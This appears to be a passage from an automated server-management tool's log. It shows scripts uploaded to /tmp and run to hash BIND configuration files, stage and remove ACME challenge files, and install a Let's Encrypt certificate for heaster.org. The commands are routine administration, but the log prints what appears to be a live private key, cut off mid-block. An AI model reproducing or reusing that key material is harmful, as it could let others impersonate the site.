zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----






2026-05-06 15:30:28: Establishing a connection
2026-05-06 15:30:28: 

PUT: /tmp/pkp779702

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-05-06 15:30:28: 

runuser -l bind -s /bin/bash -c '/tmp/pkp779702; rm /tmp/pkp779702'

2026-05-06 15:30:29: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= db0633477b3a98066efe74cd0403f07a
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 23fffb551d59be1ba6da9a294544c861
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= f9ea658466eb204a08ba64bebb958934
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= f40f6a600e6f86861c8cb4d0f14eea17
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= eebe5ece7f3ba31853415b418c8cf9e1
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= c980bdf14805f6ec8205412031ee5848
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-05-06 15:30:38: Establishing a connection
2026-05-06 15:30:38: Establishing a connection
2026-05-06 15:30:39: 

PUT: /tmp/pkp314976

#!/bin/bash
if [ -d "/var/www/heaster_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-05-06 15:30:43: 

chmod 755 /tmp/pkp314976; /tmp/pkp314976; rm /tmp/pkp314976

2026-05-06 15:30:43: 


1


2026-05-06 15:30:45: Establishing a connection
2026-05-06 15:30:45: 

PUT: /tmp/pkp178814

#!/bin/bash
mkdir -p "/var/www/heaster_www/.well-known/acme-challenge/"
cd "/var/www/heaster_www/.well-known/acme-challenge/"
cat > VGk5DgFnh3GcENmwYKTKJ41UjSGlEwmybCqwb_QbxdA <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
VGk5DgFnh3GcENmwYKTKJ41UjSGlEwmybCqwb_QbxdA.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 VGk5DgFnh3GcENmwYKTKJ41UjSGlEwmybCqwb_QbxdA
cat > kSHan98TAlmCYqFGzX6-1BA8P9LSoE1fRaSFBruRyic <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
kSHan98TAlmCYqFGzX6-1BA8P9LSoE1fRaSFBruRyic.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 kSHan98TAlmCYqFGzX6-1BA8P9LSoE1fRaSFBruRyic


2026-05-06 15:30:45: 

chmod 755 /tmp/pkp178814; /tmp/pkp178814; rm /tmp/pkp178814

2026-05-06 15:30:45: 




2026-05-06 15:30:54: Establishing a connection
2026-05-06 15:30:54: 

PUT: /tmp/pkp912822

#!/bin/bash
mkdir -p "/var/www/heaster_www/.well-known/acme-challenge/"
cd "/var/www/heaster_www/.well-known/acme-challenge/"
rm VGk5DgFnh3GcENmwYKTKJ41UjSGlEwmybCqwb_QbxdA
rm kSHan98TAlmCYqFGzX6-1BA8P9LSoE1fRaSFBruRyic


2026-05-06 15:30:54: 

chmod 755 /tmp/pkp912822; /tmp/pkp912822; rm /tmp/pkp912822

2026-05-06 15:30:54: 




2026-05-06 15:30:54: Establishing a connection
2026-05-06 15:30:54: 

PUT: /tmp/pkp502774

#!/bin/bash
temp_file=$(mktemp)
TARGET=d76ac506d6f13662e06babf635b43fda.crt

cat > $temp_file <<'endmsg'
db:f6:3c:33:86:91:c2:58:62:0e:08:b3:a3:cd:cc:5b

-----BEGIN CERTIFICATE-----
MIIFAjCCA+qgAwIBAgISBa/RE0PmWA1vkiOJ9/S019EqMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwNTA2MTQzMjIzWhcNMjYwODA0MTQzMjIyWjAWMRQwEgYDVQQD
EwtoZWFzdGVyLm9yZzCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBALJr
UagpXMBSN1k2kirStQp6eC4hJNa0SJjpWBFMcOdDMxQxgzkFHpDtFNDmL1F7Uty5
iSdinMK2wpmQ/CdwIX7TUPOj/XaJrr8ZtcfWSntfHrfXc++/La6fkJWce8oiSwrA
2xCydKFE/AHca3i2MxlqIhiQcODY/ii+S23vssHTdE+YIolVY9tExLlFi4mECPvN
zAG39koOeMkJSbc/EzFeP64gFNQ1x7UbD7fDaXVvWlwHQJggrSyThEDG3CUM/9Wz
5t3sdb2X1wdpXGL7Eo/vyHtXa3x++2VBsc8dWWPWlBTd6kaBLwY8Lbakp6AuU0r8
A3JPeTC/fCTzU8LMFO8CAwEAAaOCAiswggInMA4GA1UdDwEB/wQEAwIFoDATBgNV
HSUEDDAKBggrBgEFBQcDATAMBgNVHRMBAf8EAjAAMB0GA1UdDgQWBBRxdtUZHXSA
h6KL6Qytlm1qdpF4XTAfBgNVHSMEGDAWgBTnq58PLDOgU9NeT3jIsoQOO9aSMzAz
BggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0dHA6Ly9yMTMuaS5sZW5jci5v
cmcvMCcGA1UdEQQgMB6CC2hlYXN0ZXIub3Jngg93d3cuaGVhc3Rlci5vcmcwEwYD
VR0gBAwwCjAIBgZngQwBAgEwLgYDVR0fBCcwJTAjoCGgH4YdaHR0cDovL3IxMy5j
LmxlbmNyLm9yZy80My5jcmwwggENBgorBgEEAdZ5AgQCBIH+BIH7APkAdwDXbX0Q
0af1d8LH6V/XAL/5gskzWmXh0LMBcxfAyMVpdwAAAZ396dWEAAAEAwBIMEYCIQD8
nE8dRPZbtYxLrYAttusdo4wCWz289Qh56gliO2XXvgIhAKgKF89pGdx/vUa6odj9
1ytbc8hnlPfxj+N2tAXTbyUpAH4AqCbL4wrGNRJGUz/gZfFPGdluGQgTxB3ZbXkA
sxI8VScAAAGd/enVuQAIAAAFAAnLKeEEAwBHMEUCIBGe2rgk927YYp2ZhQpP7bYy
0KqvWQwl19Y929DVZADVAiEAvjYaEIdi+KulkzpIvAOHZOKbtmdbNLvur+eYYAX+
1NIwDQYJKoZIhvcNAQELBQADggEBAAzn00eQilb8IeEWUS6iAO5wh9eOUnpoXDdd
eAmvr6Zuz19lPG066U1BmF4/NpfrXOdSPEpPcmUOZGkOdkvX/4mCW4LyClkmodtS
eyfcUCUCDTYN7rWNSql2Xs43HLQ+BdVbX1j9WqHbT4RxdZCRwHBfwoi6Q7ro1RzP
rbDosUV+8jQqnxOSmgcJcR4J1tsYX3x353NQc2eMglfNTVAZDVXcuxUg63bVMlPu
3CgE3IZ35YxtXczsmWWW7xZuhcD1yX+DKxudVOPNss4T0gtGq+IPX6sxsAeKGQRN
qgqVZxv0asLQgadx+4f8f3ldIoo6anByWVZvrCALI8XwZmHnxYk=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQCya1GoKVzAUjdZ
NpIq0rUKenguISTWtEiY6VgRTHDnQzMUMYM5BR6Q7RTQ5i9Re1LcuYknYpzCtsKZ
kPwncCF+01Dzo/12ia6/GbXH1kp7Xx6313Pvvy2un5CVnHvKIksKwNsQsnShRPwB
3Gt4tjMZaiIYkHDg2P4ovktt77LB03RPmCKJVWPbRMS5RYuJhAj7zcwBt/ZKDnjJ
CUm3PxMxXj+uIBTUNce1Gw+3w2l1b1pcB0CYIK0sk4RAxtwlDP/Vs+bd7HW9l9cH
aVxi+xKP78h7V2t8fvtlQbHPHVlj1pQU3epGgS8GPC22pKegLlNK/ANyT3kwv3wk
81PCzBTvAgMBAAECggEAGAVx64GSHsSS9hxuRnyy6jO97XwB4TRJl+jGtiGEC+bU
wDHAWJNzX5DD3jI3ibFgYR5LtHVG5MJFZfaKtGaY4+HggsT/8Y8s60azXjHgOkb+
tEK6NbuYE2whQ7tbQUYns01u0Qstv66xfTCneYuSSqgq6gK8Z9FfOq4QKr98YjLz
40/687tTBfXmN57Rf07ds8G2NPT1sxnnRjGLDO4wH6HDRijUIXdNBxfAR5z2No9q
sbSoyxvckONIp2s1YIOXkx16aG+U5CwQE3PohqNRxXYA0GeXGun1PzxphLNbrCHr
qHvFvx/FNboL84tlkyLS4pY7RGatly29vXKOOnwnZQKBgQDbOGJp50PcWAEubQkm
VtPscdPqp5LlIU9E9B0jKiFeyWEHoPKG0p74HjnGzQhqVHWn77AfkYZ4mSbWo+xY
kDXA1u5V6YUMesnztjAFvB+0LYtQptiuXyCqKP0xumY9KJXiJGgN7xnB6Uo+gONM
ha0d3gkkpBDOVGkGxZA0W71kLQKBgQDQWoKkhUd1Ody+bDyYUOUW9v8eRoMq5G6I
xAcGQpLYSVqwPerjT8hDtEbsLe7c9wDxZK9fleF1EMRTl7jg+9MqyAWZI5SAyJJu
p2E7iZKEws+FCKn7o3d3oQqGK6O0N/T9mDfSxR4oWfA3qxrB3j8sa2Si3+L0yoOM
Nxft49VDCwKBgQDX2hL9GBv3kCfJoM8Lkx8kh4gUW2AGgN/ek0dFYqxs+nix3EYx
fp3MzWYyW5xXpkYbT6Tp0I7JnHNjkRCcu5JSCM+whDjfauADOnbajrvg2597kG12
dHBjW+zC1DjrK1U50IMshSulhaH3HU2yAUXOTNxP2cQ6hV7MricphtNbGQKBgQDN
LKREEP9KYB2R45JUSC0gzUBzduqKHYL/6VIlhv+GP84vifm5uQI0Md45jA4RyKdE
D2tnzHfFySocS2eDHllXYruoj1IY8+rHTsrAT3xagmDK17pUlCf8RTjQ4T6HJSd7
